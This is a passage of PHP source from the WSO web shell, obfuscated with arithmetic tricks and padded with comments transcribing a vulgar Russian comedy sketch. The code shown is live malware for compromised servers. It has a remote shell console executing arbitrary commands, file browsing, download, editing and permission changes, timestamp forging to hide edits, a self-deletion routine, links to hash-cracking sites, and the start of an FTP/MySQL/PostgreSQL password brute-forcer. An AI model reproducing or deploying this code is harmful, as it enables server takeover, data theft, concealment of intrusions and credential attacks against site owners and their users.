  904.             for ($i = round(0); $i < strlen($p); ++$i) $r .= /* <Peter>: В рот мне ноги, ты чё, скукожил мою машину? Да у меня там вся одежда осталась! Там джинсы мои лежали! */
  905.                 '%' . dechex(ord($p[$i]));
  906.             return /* <Avon>: Ну тыздец. Это ж моя любимая кепка! Барби-сайз какой-то, куда мне её теперь одевать, на писюн? */
  907.                 strtoupper($r);
  908.         }
  909.     }
  910.     $stringTools = array('Base64 encode' => /* <Avon>: Так, дай-ка мне теперь ебалайку, дай сюда... Всё, ты в тюрьму теперь пойдёшь, Дэвид Блейн! Это вещдок, это вещдок! */
  911.     'base64_encode', 'Base64 decode' => /* <Peter>: Ёманарот, ты вместе с джинсами семьдесят долларов скукожил, все компакт-диски покукожил, Джон Меир, Кэви Андервуд, Диск К миллионер... */
  912.     'base64_decode', 'Url encode' => /* <Peter>: Ты скукожил К миллионер, ты говнюк! Ёманарот! */
  913.     'urlencode', 'Url decode' => /* <Avon>: Он машину раскукожил, пока я её в руках держал! Я чуть не умер! */
  914.     'urldecode', 'Full urlencode' => /* <Peter>: Встань с земли, простудишься! */
  915.     'full_urlencode', 'md5 hash' => /* <Avon>: Опа! Кепка опять налазит... */
  916.     'md5', 'sha1 hash' => /* <Peter>: Ну спасибоньки, ему-то кепку увеличил, а моя одежда и диски остались барби-сайз! Это нечестно! Я тебя ненавижу! Не смотри на меня, не пырься на меня своими глазами, не пырься, не могу! */
  917.     'sha1', 'crypt' => /* <David Blaine>: Ну ладно, ладно, ладно. Вот что мы сделаем: накрой себя вот этим покрывалом, я досчитаю до трёх, и ты меня не увидишь никогда. */
  918.     'crypt', 'CRC32' => /* <Peter>: И ты больше не будешь на меня пыриться? Хорошо, мне нравится этот фокус! Я его сделаю! */
  919.     'crc32', 'ASCII to HEX' => /* <Avon>: Эйвин! Будь осторожней! Чё-то мне как-то сыкатно! */
  920.     'ascii2hex', 'HEX to ASCII' => /* <Peter>: Ну и чо я здесь за шторкой, как долботряс какой-то?! */
  921.     'hex2ascii', 'HEX to DEC' => /* <Avon>: Ты чо с ним сделал? Ты его скукожил?? Ты зачем ему сделал барби-сайз?! Ты его скукожил! Ты его скукожил!! Слушай, раскукожь обратно моего друга, раскукожь! */
  922.     'hexdec', 'HEX to BIN' => /* <David Blaine>: Ну хорошо. Смотри. */
  923.     'hex2bin', 'DEC to HEX' => /* <Peter>: ...ааААААА... */
  924.     'dechex', 'DEC to BIN' => /* <Avon>: Чё за херня? Я чё-то слышу... Эйвон? Ты его изговнякал! Изговнякал зачем? */
  925.     'decbin', 'BIN to HEX' => /* <Peter>: В рот мне ноги, я во временах динозавров был! */
  926.     'binhex', 'BIN to DEC' => /* <Avon>: Чё? Да тебя десять секунд не было! */
  927.     'bindec', 'String to lower case' => /* <Peter>: Это здесь десять секунд, а там, во временах динозавров, я неделю парился! */
  928.     'strtolower', 'String to upper case' => /* <Peter>: Пять дней и четыре ночи! Ягоды жрал, корешки какие-то... Боролся с динозаврами за жизнь! */
  929.     'strtoupper', 'Htmlspecialchars' => /* <Avon>: Ну ты хоть на них покатался? */
  930.     'htmlspecialchars', 'String length' => /* <Peter>: Ты чо, ёкнулся что ли, кататься, это ж не карусельки, а парк Юрского периода настоящий! */
  931.     'strlen',);
  932.     if (isset($_POST['ajax'])) {
  933.         __WSO__setcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
  934.         ob_start();
  935.         if (in_array($_POST['p1'], $stringTools)) echo /* <Peter>: Ты чё на меня пыришься, демон??! */
  936.         $_POST['p1']($_POST['p2']);
  937.         $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
  938.         echo /* <Avon>: Вот долботряс, даже не покатался! */
  939.         strlen($temp), "\n", $temp;
  940.         exit;
  941.     }
  942.     if (empty($_POST['ajax']) && !empty($_POST['p1'])) __WSO__setcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', round(0));
  943.     wsoHeader();
  944.     echo /* <Peter>: Себе на кепку посмотри. */
  945.     '<h1>String conversions</h1><div class=content>';
  946.     echo /* <Avon>: Чо там? */
  947.     "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  948.     foreach ($stringTools /* <Avon>: Опять кепка... Хватит менять размер моей кепки, ты, демон! */
  949.              as /* <Peter>: О, отлично, менты приехали! Ура, менты, привет! Наконец-то менты! */
  950.              $k /* <Policeman>: <to operator> Выруби камеру. */
  951.     => /* <Peter>: Давайте аристуем его побыстрей! */
  952.              $v) echo /* <Avon>: Аристуйте его, он нас пугает, я чуть не обоссался! */
  953.         "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
  954.     echo /* <Peter>: Он мои компакт-диски скукожил! */
  955.         "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
  956.     if (!empty($_POST['p1'])) {
  957.         if (in_array($_POST['p1'], $stringTools)) echo /* <Policeman>: Так-так. Всем спокойно, чё за проблемы? */
  958.         htmlspecialchars($_POST['p1']($_POST['p2']));
  959.     }
  960.     echo "</pre></div><br><h1>Search files:</h1><div class=content>
  961.    <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  962.        <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  963.        <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
  964.        <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  965.        <tr><td></td><td><input type='submit' value='>>'></td></tr>
  966.    </table></form>";
  967.     function /* <Avon>: Я держал ебалайку, а он её увеличил до машины, чёть не придавило, а ещё у кепки постоянно размер меняет, вот! Чё мне теперь, на коленке носить, что ли? */
  968.     wsoRecursiveGlob($path)
  969.     {
  970.         if (substr($path, -round(0 + 0.5 + 0.5)) != /* <Policeman>: Ага, ну всё понятно... <to David Blayne> Вы, сэр, развернитесь и встаньте лицом к стене. */
  971.             '/'
  972.         ) $path .= '/';
  973.         $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
  974.         if (is_array($paths) && @count($paths)) {
  975.             foreach ($paths /* <Avon>: Уйди! */
  976.                      as /* <Peter>: Его необходимо арестовать за то, что он отправил меня во времена динозавров, а я там чуть не сдох! Я есть хотел, и мне пришлось украсть яйцо с динозавриком, и мама динозавра гналась за мной потом и загнала меня в УГОЛ!!! */
  977.                      $item) {
  978.                 if (@is_dir($item)) {
  979.                     if ($path != $item) wsoRecursiveGlob($item);
  980.                 } else {
  981.                     if (empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2']) !== false) echo /* <Avon>: Даже не прокатился! */
  982.                         "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\",\"\")'>" . htmlspecialchars($item) . "</a><br>";
  983.                 }
  984.             }
  985.         }
  986.     }
  987.  
  988.     if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']);
  989.     echo /* <Peter>: Я весь изговнякался! */
  990.     "</div><br><h1>Search for hash:</h1><div class=content>
  991.    <form method='post' target='_blank' name='hf'>
  992.        <input type='text' name='hash' style='width:200px;'><br>
  993.        <input type='hidden' name='act' value='find'/>
  994.        <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
  995.        <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  996.        <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
  997.    </form></div>";
  998.     wsoFooter();
  999. }
  1000.  
  1001. function /* <Avon>: А этот долботряс даже не покатался на них, они были злые! */
  1002. actionFilesTools()
  1003. {
  1004.     if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
  1005.     if (@$_POST['p2'] == 'download') {
  1006.         if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  1007.             ob_start("ob_gzhandler", round(0 + 819.2 + 819.2 + 819.2 + 819.2 + 819.2));
  1008.             header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
  1009.             if (function_exists("mime_content_type")) {
  1010.                 $type = @mime_content_type($_POST['p1']);
  1011.                 header("Content-Type: " . $type);
  1012.             } else /* <Policeman>: Всё понятно... Давайте по порядку. Назовите свои имена. */
  1013.             header("Content-Type: application/octet-stream");
  1014.             $fp = @fopen($_POST['p1'], "r");
  1015.             if ($fp) {
  1016.                 while (!@feof($fp)) echo @fread($fp, round(0 + 512 + 512));
  1017.                 fclose($fp);
  1018.             }
  1019.         }
  1020.         exit;
  1021.     }
  1022.     if (@$_POST['p2'] == /* <Peter>: ...r g u f a n... */
  1023.         'mkfile'
  1024.     ) {
  1025.         if (!file_exists($_POST['p1'])) {
  1026.             $fp = @fopen($_POST['p1'], 'w');
  1027.             if ($fp) {
  1028.                 $_POST['p2'] = "edit";
  1029.                 fclose($fp);
  1030.             }
  1031.         }
  1032.     }
  1033.     wsoHeader();
  1034.     echo /* <Avon>: Peter Peszynski */
  1035.     '<h1>File tools</h1><div class=content>';
  1036.     if (!file_exists(@$_POST['p1'])) {
  1037.         echo /* <Peter>: У тебя польская фамилия! */
  1038.         'File not exists';
  1039.         wsoFooter();
  1040.         return;
  1041.     }
  1042.     $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  1043.     if (!$uid) {
  1044.         $uid['name'] = @fileowner($_POST['p1']);
  1045.         $gid['name'] = @filegroup($_POST['p1']);
  1046.     } else /* <Peter>: Его необходимо арестовать, там, в тюрьму посадить или ещё куда, ну, в общем, закрыть навсегда его! */
  1047.     $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  1048.     echo /* <Avon>: Он нам жизнь разрушил уже! */
  1049.         '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
  1050.     echo /* <David Blaine>: <in the policeman's suit> Хорошо... Я посмотрю, что я смогу для вас сделать... */
  1051.         '<span>Change time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
  1052.     if (empty($_POST['p2'])) $_POST['p2'] = 'view';
  1053.     if (is_file($_POST['p1'])) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch'); else /* <Peter>: В рот мне ноги, фак мой мозг!!! */
  1054.     $m = array('Chmod', 'Rename', 'Touch');
  1055.     foreach ($m /* <Peter>: Чё за хуйня, ёманарооооот!!! Я щас обоссусь! */
  1056.              as /* <=====end of part=====> */
  1057.              $v) echo /* <=====street magic=====> */
  1058.         '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
  1059.     echo /* <David Blaine>: Ага, вот эти ребята... */
  1060.     '<br><br>';
  1061.     switch ($_POST['p2']) {
  1062.         case /* <Peter>: Ненененене!! */
  1063.         'view':
  1064.             echo /* <Avon>: Нет, нет, Дэвид Блейн, нет! */
  1065.             '<pre class=ml1>';
  1066.             $fp = @fopen($_POST['p1'], 'r');
  1067.             if ($fp) {
  1068.                 while (!@feof($fp)) echo /* <David Blaine>: Я делаю особую, уличную магию. */
  1069.                 htmlspecialchars(@fread($fp, round(0 + 341.33333333333 + 341.33333333333 + 341.33333333333)));
  1070.                 @fclose($fp);
  1071.             }
  1072.             echo /* <David Blaine>: Кто хочет увидеть немного магии? */
  1073.             '</pre>';
  1074.             break;
  1075.         case /* <Avon>: Чё мы тебе, долботрясы какие-нибудь? Нет, спасибо! */
  1076.         'highlight':
  1077.             if (@is_readable($_POST['p1'])) {
  1078.                 echo /* <Peter>: Мы целый день шопились, заманались, хотим просто отдохнуть, всё! */
  1079.                 '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  1080.                 $code = @highlight_file($_POST['p1'], true);
  1081.                 echo /* <David Blaine>: И где вы шопились? */
  1082.                     str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
  1083.             }
  1084.             break;
  1085.         case /* <Peter>: В один магаз ходили новый! */
  1086.         'chmod':
  1087.             if (!empty($_POST['p3'])) {
  1088.                 $perms = round(0);
  1089.                 for ($i = strlen($_POST['p3']) - round(0 + 0.25 + 0.25 + 0.25 + 0.25); $i >= round(0); --$i) $perms /* <Avon>: Он ещё не трендовый, ты про него не знаешь. */
  1090.                     += /* <David Blaine>: И чо купили? */
  1091.                     (int)$_POST['p3'][$i] * pow(round(0 + 1.6 + 1.6 + 1.6 + 1.6 + 1.6), (strlen($_POST['p3']) - $i - round(0 + 0.5 + 0.5)));
  1092.                 if (!@chmod($_POST['p1'], $perms)) echo /* <Avon>: Я купил зеленый свитер, если ты так хочешь знать! */
  1093.                 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  1094.             }
  1095.             clearstatcache();
  1096.             echo /* <Peter>: Зеленый свитер! */
  1097.                 '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -round(0 + 1.3333333333333 + 1.3333333333333 + 1.3333333333333)) . '"><input type=submit value=">>"></form>';
  1098.             break;
  1099.         case /* <David Blaine>: Интересно... А ты уверен, что ты не купил тедди беар, плюшевого мишку? */
  1100.         'edit':
  1101.             if (!is_writable($_POST['p1'])) {
  1102.                 echo /* <Avon>: Да, я уверен! */
  1103.                 'File isn\'t writeable';
  1104.                 break;
  1105.             }
  1106.             if (!empty($_POST['p3'])) {
  1107.                 $time = @filemtime($_POST['p1']);
  1108.                 $_POST['p3'] = substr($_POST['p3'], round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2));
  1109.                 $fp = @fopen($_POST['p1'], "w");
  1110.                 if ($fp) {
  1111.                     @fwrite($fp, $_POST['p3']);
  1112.                     @fclose($fp);
  1113.                     echo /* <Avon>: ТЕДДИ БИР!! */
  1114.                     'Saved!<br><script>p3_="";</script>';
  1115.                     @touch($_POST['p1'], $time, $time);
  1116.                 }
  1117.             }
  1118.             echo /* <Peter>: Чё за херь! */
  1119.                 '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  1120.             $fp = @fopen($_POST['p1'], 'r');
  1121.             if ($fp) {
  1122.                 while (!@feof($fp)) echo /* <Peter>: Э, ты чо сделал-то, а?! */
  1123.                 htmlspecialchars(@fread($fp, round(0 + 1024)));
  1124.                 @fclose($fp);
  1125.             }
  1126.             echo /* <Avon>: Где мой свитер? */
  1127.             '</textarea><input type=submit value=">>"></form>';
  1128.             break;
  1129.         case /* <Peter>: Эй, он купил свитер, а он исчез, это ты его стырил? Притырил себе свитер, да это воровство! Отдай его свитер, сволочь! */
  1130.         'hexdump':
  1131.             $c = @file_get_contents($_POST['p1']);
  1132.             $n = round(0);
  1133.             $h = array('00000000<br>', '', '');
  1134.             $len = strlen($c);
  1135.             for ($i = round(0); $i < $len; ++$i) {
  1136.                 $h[round(0 + 0.5 + 0.5)] .= /* <Avon>: Я потратил 48 долларов, ты, тупой и убогий фокусник! Где он? */
  1137.                     sprintf('%02X', ord($c[$i])) . ' ';
  1138.                 switch (ord($c[$i])) {
  1139.                     case /* <Peter>: Питер, глянь чо на тебе! */
  1140.                     round(0):
  1141.                         $h[round(0 + 0.66666666666667 + 0.66666666666667 + 0.66666666666667)] .= /* <Avon>: Что за херня??? Как? */
  1142.                             ' ';
  1143.                         break;
  1144.                     case /* <Peter>: В РОТ МНЕ НОГИ!!! */
  1145.                     round(0 + 4.5 + 4.5):
  1146.                         $h[round(0 + 2)] .= /* <Avon>: Я держал в руках вещи! */
  1147.                             ' ';
  1148.                         break;
  1149.                     case /* <Peter>: В рот мне ноги! */
  1150.                     round(0 + 5 + 5):
  1151.                         $h[round(0 + 0.4 + 0.4 + 0.4 + 0.4 + 0.4)] .= /* <Avon>: А, он уже растянутый, спасибо тебе! */
  1152.                             ' ';
  1153.                         break;
  1154.                     case /* <Peter>: Слушай, остановись, а? */
  1155.                     round(0 + 2.6 + 2.6 + 2.6 + 2.6 + 2.6):
  1156.                         $h[round(0 + 2)] .= /* <Avon>: Растянул свитер, я его даже не поносил ещё! */
  1157.                             ' ';
  1158.                         break;
  1159.                     default:
  1160.                         $h[round(0 + 1 + 1)] .= /* <David Blaine>: Эй. Эй, чё ты пьёшь? */
  1161.                             $c[$i];
  1162.                         break;
  1163.                 }
  1164.                 $n++;
  1165.                 if ($n /* <Peter>: Оранж соду я пью! Что, в медведя превратишь? Я стакан-то держу! */
  1166.                     == /* <David Blaine>: Оранж соду? Может чё-нить другое оранжевое? */
  1167.                     round(0 + 8 + 8 + 8 + 8)
  1168.                 ) {
  1169.                     $n = round(0);
  1170.                     if ($i + round(0 + 0.25 + 0.25 + 0.25 + 0.25) < $len) {
  1171.                         $h[round(0)] .= /* <Peter>: Чо ещё оранжевое? Ну это, печеньки? */
  1172.                             sprintf('%08X', $i + round(0 + 0.25 + 0.25 + 0.25 + 0.25)) . '<br>';
  1173.                     }
  1174.                     $h[round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2)] .= /* <Peter>: ПЕЧЕНЬКИ!!! Стрелять-колотить! */
  1175.                         '<br>';
  1176.                     $h[round(0 + 2)] .= /* <Peter>: ПЕЧЕНЬКИ!!! Печеньки! Печеньки! Печеньки! */
  1177.                         "\n";
  1178.                 }
  1179.             }
  1180.             echo /* <Peter>: Где оранж сода? Ты чо делаешь вообще, ты чо делаешь? */
  1181.                 '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[round(0)] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2)] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[round(0 + 1 + 1)]) . '</pre></td></tr></table>';
  1182.             break;
  1183.         case /* <Avon>: У меня во рту оранж сода! */
  1184.         'rename':
  1185.             if (!empty($_POST['p3'])) {
  1186.                 if (!@rename($_POST['p1'], $_POST['p3'])) echo /* <Peter>: Я на измене, я на измене! */
  1187.                 'Can\'t rename!<br>'; else /* <Avon>: Какая херня, ты положил её мне в рот! */
  1188.                 die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
  1189.             }
  1190.             echo /* <Peter>: В рот мне ноги, ты прекратишь это или нет, демон, остановись, в рот мне ноги! */
  1191.                 '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
  1192.             break;
  1193.         case /* <David Blaine>: Ну ладно-ладно, ребята, знаете, я хочу показать вам кое-что действительно крутое... */
  1194.         'touch':
  1195.             if (!empty($_POST['p3'])) {
  1196.                 $time = strtotime($_POST['p3']);
  1197.                 if ($time) {
  1198.                     if (!touch($_POST['p1'], $time, $time)) echo /* <Peter>: НЕТ! */
  1199.                     'Fail!'; else /* <Avon>: Не, чувак, лучше себе показывай! */
  1200.                     echo /* <David Blaine>: Так, подождите одну минуточку, секунду подождите... */
  1201.                     'Touched!';
  1202.                 } else /* <Avon>: Оставь нас в покое! */
  1203.                 echo /* <Peter>: Ааа, видел я этот фокус, ножками перебирать будешь, типа взлететь хочешь. */
  1204.                 'Bad time format!';
  1205.             }
  1206.             clearstatcache();
  1207.             echo /* <Avon>: Мой племянник может так сделать, тоже мне фокус! */
  1208.                 '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
  1209.             break;
  1210.     }
  1211.     echo /* <David Blaine>: Просто подождите секундочку, а? */
  1212.     '</div>';
  1213.     wsoFooter();
  1214. }
  1215.  
  1216. function /* <Peter>: Крис Эйнджел делает это лучше, сука, понял, Крис Эйнджел делает это лучше! */
  1217. actionConsole()
  1218. {
  1219.     if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
  1220.         __WSO__setcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
  1221.         $_POST['p1'] .= /* <Avon>: Эйвин! Я лечу! */
  1222.             ' 2>&1';
  1223.     } elseif (!empty($_POST['p1'])) __WSO__setcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', round(0));
  1224.     if (isset($_POST['ajax'])) {
  1225.         __WSO__setcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
  1226.         ob_start();
  1227.         echo /* <Peter>: Ёманарот!! */
  1228.         "d.cf.cmd.value='';\n";
  1229.         $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']), "\n\r\t\\'\0"));
  1230.         if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
  1231.             if (@chdir($match[round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333)])) {
  1232.                 $GLOBALS['cwd'] = @getcwd();
  1233.                 echo /* <Avon>: Я чувствую тепло и лечу! */
  1234.                     "c_='" . $GLOBALS['cwd'] . "';";
  1235.             }
  1236.         }
  1237.         echo /* <Peter>: ЁМАНАРОТ!!! */
  1238.             "d.cf.output.value+='" . $temp . "';";
  1239.         echo /* <Peter>: Опусти его, пожалуйста, а? Ёманарот, под ним ничо нету, совсем ничо нету! */
  1240.         "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  1241.         $temp = ob_get_clean();
  1242.         echo /* <Avon>: Он закинул меня на крышу! Он на крышу меня зачем-то закинул! Зачем ты меня сюда закинул? Дэвид Блейн, дай мне слезть! Дэвид Блейн, спусти меня! */
  1243.         strlen($temp), "\n", $temp;
  1244.         exit;
  1245.     }
  1246.     if (empty($_POST['ajax']) && !empty($_POST['p1'])) __WSO__setcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', round(0));
  1247.     wsoHeader();
  1248.     echo /* <Peter>: Хватит мне газировку в рот пихать! */
  1249.     "<script>
  1250.    if(window.Event) window.captureEvents(Event.KEYDOWN);
  1251.    var cmds = new Array('');
  1252.    var cur = 0;
  1253.    function kp(e) {
  1254.        var n = (window.Event) ? e.which : e.keyCode;
  1255.        if(n == 38) {
  1256.            cur--;
  1257.            if(cur>=0)
  1258.                document.cf.cmd.value = cmds[cur];
  1259.            else
  1260.                cur++;
  1261.        } else if(n == 40) {
  1262.            cur++;
  1263.            if(cur < cmds.length)
  1264.                document.cf.cmd.value = cmds[cur];
  1265.            else
  1266.                cur--;
  1267.        }
  1268.    }
  1269.    function add(cmd) {
  1270.        cmds.pop();
  1271.        cmds.push(cmd);
  1272.        cmds.push('');
  1273.        cur = cmds.length-1;
  1274.    }
  1275. </script>";
  1276.     echo /* <Avon>: Он даже не отлевитировал меня обратно! */
  1277.     '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
  1278.     foreach ($GLOBALS['aliases'] as /* <Peter>: В рот мне ноги, валим отсюда быстрей! */
  1279.              $n /* <David Blaine>: Эй, эй, ребята, ещё один трюк, ещё один фокус... */
  1280.     => /* <Peter>: Иди в пень, а то щас ментов позову! */
  1281.              $v) {
  1282.         if ($v /* <David Blaine>: Эй, подождите, парни, последний, обещаю. Эй, ребята! */
  1283.             == /* <David Blaine>: Если вы дадите мне показать ещё один фокус, я дам вам сто долларов. */
  1284.             ''
  1285.         ) {
  1286.             echo /* <David Blaine>: Позвольте показать мне вам ещё один фокус, и я дам вам сто долларов. */
  1287.                 '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
  1288.             continue;
  1289.         }
  1290.         echo /* <Peter>: Дашь мне сто долларов? */
  1291.             '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
  1292.     }
  1293.     echo /* <Avon>: Ты сможешь купить тот шарфик! */
  1294.         '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  1295.     if (!empty($_POST['p1'])) {
  1296.         echo /* <Peter>: Точно! Зашибись, гони сто баксов. */
  1297.         htmlspecialchars("$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']));
  1298.     }
  1299.     echo /* <David Blaine>: Могу я зайти? */
  1300.     '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  1301.     echo /* <Peter>: Ну ладно, пошли... */
  1302.     '</form></div><script>d.cf.cmd.focus();</script>';
  1303.     wsoFooter();
  1304. }
  1305.  
  1306. function /* <Peter>: Ты точно деньги дашь? */
  1307. actionLogout()
  1308. {
  1309.     setcookie(md5($_SERVER['HTTP_HOST']), '', time() - round(0 + 900 + 900 + 900 + 900));
  1310.     die('bye!');
  1311. }
  1312.  
  1313. function /* <Avon>: Добро пожаловать в дом. */
  1314. actionSelfRemove()
  1315. {
  1316.     if ($_POST['p1'] == /* <Peter>: И вот мы в моей квартире, и чо? */
  1317.         'yes'
  1318.     ) if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed'); else /* <David Blaine>: Вот это что такое? */
  1319.     echo /* <Peter>: Мой видак. */
  1320.     'unlink error!';
  1321.     if ($_POST['p1'] != /* <David Blaine>: Интересно... Сделай мне одолжение, найди кассету, на которой написано 'Маленький Эйвон, апрель восемьдесят четвёртого'. */
  1322.         'yes'
  1323.     ) wsoHeader();
  1324.     echo /* <Peter>: Щас посмотрю, может где-то есть... */
  1325.     '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1326.     wsoFooter();
  1327. }
  1328.  
  1329. function /* <David Blaine>: Посмотри в магнитофоне, она там. */
  1330. actionBruteforce()
  1331. {
  1332.     wsoHeader();
  1333.     if (isset($_POST['proto'])) {
  1334.         echo /* <Avon>: Чё-то мне как-то сыкатно... */
  1335.             '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
  1336.         if ($_POST['proto'] == /* <Peter>: Ну и чо такого, просто кассета, хоум видео... Я там в том возрасте ещё сиську сосу. Вот этот карапуз - я. */
  1337.             'ftp'
  1338.         ) {
  1339.             function /* <Avon>: А вот это мама Эйвона. */
  1340.             wsoBruteForce($ip, $port, $login, $pass)
  1341.             {
  1342.                 $fp = @ftp_connect($ip, $port ? $port : round(0 + 21));
  1343.                 if (!$fp) return /* <Peter>: Вот я сопли пузырями надуваю, и чо? */
  1344.                     false;
  1345.                 $res = @ftp_login($fp, $login, $pass);
  1346.                 @ftp_close($fp);
  1347.                 return /* <Avon>: Его мама и щас хорошо выглядит. */
  1348.                     $res;
  1349.             }
  1350.         } elseif ($_POST['proto'] == /* <David Blaine>: <в видео:> Вот сто долларов. Я должен Вашему сыну. */
  1351.             'mysql'
  1352.         ) {
  1353.             function /* <Peter>: Фак мой моск!! */
  1354.             wsoBruteForce($ip, $port, $login, $pass)
  1355.             {
  1356.                 $res = @mysql_connect($ip . ':' . ($port ? $port : round(0 + 1653 + 1653)), $login, $pass);
  1357.                 @mysql_close($res);
  1358.                 return /* <Avon>: Это что вообще за хуйня?!!!! */
  1359.                     $res;
  1360.             }
  1361.         } elseif ($_POST['proto'] == /* <Avon>: Тот же самый и там и там!! */
  1362.             'pgsql'
  1363.         ) {
  1364.             function /* <Peter>: Фак мой моск!!! */
